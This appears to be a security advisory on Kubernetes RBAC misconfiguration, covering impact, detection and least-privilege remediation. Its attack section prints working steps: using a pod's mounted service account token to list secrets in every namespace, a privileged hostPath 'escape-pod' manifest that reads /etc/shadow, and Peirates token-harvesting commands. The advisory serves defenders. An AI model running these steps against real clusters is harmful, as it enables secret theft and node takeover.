Description
Kubernetes Role-Based Access Control (RBAC) governs what API operations each service account, user, and group may perform within the cluster. Misconfigurations in RBAC policies are among the most common and severe findings in Kubernetes security assessments, ranging from overly broad roles that grant cluster-admin to regular workloads, to the use of wildcards (*) in resource and verb bindings that implicitly grant access to newly added API resources.
CWE-284 (Improper Access Control) applies because RBAC misconfigurations grant access beyond what is required by the principle of least privilege. A05:2021 Security Misconfiguration encompasses the pattern of deploying defaults, copying examples from documentation without tightening them, and accumulating excessive permissions over time as engineers add capabilities without removing unused ones.
The impact is severe because Kubernetes service accounts are automatically mounted into pods via projected volumes, and their tokens are usable against the Kubernetes API from within compromised containers. A pod running with an overly permissive service account becomes a direct path to cluster-wide control—listing secrets, modifying deployments, creating privileged pods that mount the host filesystem, or exfiltrating all credentials stored in Kubernetes Secrets.
How It Works
From within a compromised pod, an attacker uses the automatically mounted service account token to authenticate to the Kubernetes API:
# Service account token and CA cert are mounted here in every pod by default
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Check what permissions the pod's service account has
kubectl --token=$TOKEN --certificate-authority=$CA \
-n $NS auth can-i --list
# If the service account has secrets/get or secrets/list:
kubectl --token=$TOKEN --certificate-authority=$CA \
get secrets -A -o json
A common escalation path via a create pods permission—an attacker creates a privileged pod that mounts the host filesystem:
# Privilege escalation via pod creation with hostPath mount
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c", "chroot /host /bin/bash -c 'cat /etc/shadow'"]
volumeMounts:
- mountPath: /host
name: host-root
securityContext:
privileged: true
volumes:
- name: host-root
hostPath:
path: /
nodeSelector:
kubernetes.io/hostname: target-node
Penetration testers use kubectl-who-can and Peirates to enumerate exploitable RBAC permissions:
# Find all subjects that can create pods in any namespace
kubectl who-can create pods -A
# Peirates — automated K8s attack tool
peirates
> get-service-account-tokens
> request-cluster-roles
Wildcard bindings in ClusterRoles are a common source of excessive permissions:
# Dangerous: grants all verbs on all resources
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Impact
- Full cluster compromise —
cluster-adminaccess enables reading all secrets, modifying all workloads, creating backdoor administrator accounts, and deleting audit logs. - Secret exfiltration — Access to
secretsresources yields database passwords, API keys, TLS certificates, and cloud provider credentials stored in Kubernetes Secrets. - Node compromise — Pod creation with
hostPathorprivileged: trueenables container escape and full access to the underlying node's filesystem and processes. - Lateral movement to cloud — Cloud provider credentials (AWS IRSA, GCP Workload Identity) bound to overpermissioned service accounts enable lateral movement to the cloud control plane.
- Supply chain attack — Compromise of CI/CD service accounts with deployment permissions enables persistent backdoors injected into production workloads.
Detection
- Run
kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<service-account>for each service account to enumerate permissions. - Use
rbac-toolorkubectl-who-canto identify all subjects withcluster-adminor wildcard bindings. - Check for bindings to the
defaultservice account in production namespaces—the default SA should have no permissions. - Use
Kube-benchto run CIS Kubernetes Benchmark checks, which includes RBAC assessments. - Verify
automountServiceAccountToken: falseis set on pods and service accounts that do not require API access. - Review all ClusterRoleBindings for non-system subjects and verify each binding follows least privilege.
Remediation
Apply least-privilege RBAC. Create dedicated service accounts per workload and bind them to narrowly scoped roles with only the verbs and resources actually required:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-reader
namespace: production
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "watch", "list"]
resourceNames: ["app-config"] # Further restrict to specific named resources
Disable automatic service account token mounting. For pods that do not call the Kubernetes API:
spec:
automountServiceAccountToken: false
Audit and remove wildcard permissions. Replace all resources: ["*"] and verbs: ["*"] entries with explicit resource and verb lists.
Enforce Pod Security Standards. Apply Restricted or Baseline Pod Security Standards to prevent privileged pod creation and hostPath mounts at the admission controller level.
